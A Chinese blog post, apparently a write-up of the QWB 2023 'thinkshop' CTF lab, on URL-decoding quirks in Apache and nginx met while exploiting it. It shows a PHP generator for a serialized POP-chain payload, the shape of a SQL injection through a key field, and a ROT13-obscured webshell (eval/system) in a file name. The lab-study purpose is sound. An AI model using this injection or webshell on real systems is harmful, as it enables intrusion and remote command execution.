关于URL解码特殊字符的二三事

前言

最近在做thinkshop靶机的时候, 被url编解码的知识卡了两三次, 记录下遇到的坑, 顺便研究下URL解码的情况, 以警戒自己, 帮助后人.

环境与复盘

thinkshop靶机(23强网杯): 靶机下载https://cloud.hurrison.com/f/zPIq/thinkshop_0d11a7bb36144142e9236159c6152cfe.zipicon-default.png?t=N7T8https://cloud.hurrison.com/f/zPIq/thinkshop_0d11a7bb36144142e9236159c6152cfe.zip(转自强网杯 2023 线上赛部分 Writeup - Hurrison's Blog)

靶机apache版本: 2.4.29 (默认设置)

问题1:

对于admin界面中updatedata的情况进行sql注入时候, 由于value值被bin2hex()保护, 无法进行注入, 所以选择对于key值进行注入. 其中key值中注入的是序列化并且base64编码的值.

    public function updatedata($data, $table, $id)
    {
        if (!$this->connect()) {
            die('Error');
        } else {
            $sql = "UPDATE $table SET ";
            foreach ($data as $key => $value) {
                $sql .= "`$key` = unhex('" . bin2hex($value) . "'), ";
            }

            $sql = rtrim($sql, ', ') . " WHERE `id` = " . intval($id);
            // echo $sql;
            return mysqli_query($this->connect(), $sql);
        }
    }

注入脚本如下(POP链过长就不展示了, 可以在靶机下载地址查看writeup)

// 前面还有一堆构造的pop链
namespace payload {

    use think\process\pipes\Windows;

    ini_set('display_errors', 1);

    $o = new Windows();
    echo "payload_of_0d00is0721ing\n\n\n";
    $payload = base64_encode(serialize(array($o)));

    echo "\n\n";
    if (strpos($payload, "+") != null) {
        echo substr($payload, 0, strpos($payload, "+"));
    } else {
        echo 1;
    }
    echo "\n\n";
    $payload = str_replace("=", "%3d", $payload);
    echo $payload;
    $file = fopen("./payload.evil", "w");
    fwrite($file, $payload);
    fclose($file);
}

最终的payload:

 

问题就出在这个+上(base64编码结果) . 

而最终payload大概长这样, 也就是说payload在key字段

data`%3d"payload_here"WHERE(`id`%3d1)#=1

而对于apache来说, key字段中的'+'会被自动解析为'_', 导致payload失效, 所以必须转码为%2b

问题2:

经过pop链的洗礼, 终于写入了webshell, 但是, 在网页访问确404了, 为什么?

 看看这个文件名:

<?cuc cucvasb();riny($_CBFG[pzq]);flfgrz($_TRG[pzq]);?>de6544d754b3409ceff5ff40b416a61a.php

问题出在这个'?'上, 浏览器没有把这个?url编码, (浏览器也以为这个?有特殊含义, 是保留字符[所谓保留字符就是那些在URL中具有特定意义的字符。不安全字符是指那些在URL中没有特殊含义,但在URL所在的上下文中可能具有特殊意义的字符。]), 导致sercer同样解析错误.

把?url编码之后问题解决, 成功访问webshell.

URL解码探究

在查找url编码, 解码的时候, 意外发现本来需要encode的字符等能够被apache直接解析? 推测这个是不同web server代码实现的区别

通过以下代码在我的apache下进行尝试:

注意, 似乎通过apache的配置可以改变url解析的具体规则, 而我测试使用的是默认配置的apache, 权当参考

比如通过AllowEncodedSlashes似乎可以使得apache允许url路径中将/编码成为%2F

参考链接: mod rewrite - How does Apache process a path with a percent-encoded URL in it? - Server Fault

<?php

echo "post:    " . $_POST['f_oo'];
echo "           get:      " . $_GET['f_oo'];

在get/post数据部分:

%xx必定会被解析为对应字符, 就算这个字符没必要被编码.

非ascii码值会被正常解码

部分不影响含义保留字符正常解析, 但是部分影响含义的无法解析(如&, %等)

不安全字符: 正常解析

+: 在key部分被解析为'_', 在value部分被解析为[space]

[space]: 在key部分被解析为'_', 在value部分被解析为[space]

 URL路径中:

似乎只有[space] 被编码成为 %20, 不编码无法正常解析

含中文名的路径似乎也无法解析成功...

%xx正常解析为对应符号

 大部分保留符号(不影响含义的)会被解析成功

那么, 在其他环境下, 是否情况也会不同呢?

测试环境: nginx/1.15.11

情况确实略有不同, 比如中文会被直接解析为乱码

总结

在不同的环境下, url的解码确实有细微的差别, 并且server的设置也会影响到解析的规则.

本文给出了apache默认配置环境下的部分解析规则, 但是具体情况下各位师傅还是最好自己摸索. 当然, 最为安全的做法还是全部都用%形式编码(雾)

贴个url编解码的网站备用吧:

在线URL解码编码工具_蛙蛙工具 (iamwawa.cn)

当然, 作者本人水平有限, 文章难免有误, 如果各位读者发现, 还望在评论区指出, 作者会尽快纠正

本文为原创, 未经作者(0d00is0721ing)许可禁止转载, 谢谢

引用与参考

URL中的保留和不安全字符 - atzuge - 博客园 (cnblogs.com)

URL编码解码详解,看这一篇就够够的了-腾讯云开发者社区-腾讯云 (tencent.com)

封面图: やはり俺の青春ラブコメはまちがっている。我的青春恋爱物语果然有问题。(好像出自第二季, 记不太清了)

日常小作文(不看)

qwb结束了, 顺利地爆0了哈哈哈, 不过还是学到了点东西的, 包括信息的收集判断web服务, 包括关于网页源码审计顺序的思考, 包括手搓了第一条pop链(虽然是看着别人的利用图搓的)

接下来就是准备下期末考力~

发现一部神番: 春物. 喜欢大老师这个人物, 虽然他的那种阴暗的世界观我不能完全认可, 虽然他处事方式我不能完全接受, 但是他在孤独中行走的勇气和对于自我的坚持, 是我所缺少和渴求的, 他身上的那种孤高和"精神洁癖", 也是我这个才大二确已经具备中年油腻男的影子的"青春"之人早早失去的. 当然, 还有雪乃, 还有团子, 他们都是我所喜欢的, 正是这些青春之人, 才构成了他们和她们的青春物语. 也许我无法像大老师那样变成现充, 但是勇敢的过好我的青春, 也许正是我现在能做的吧.

最后, 大老师语录奉上:

改变也只不过是变相逃避现实吧?为什么不能肯定现在和过去的自己呢?【大老师】

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值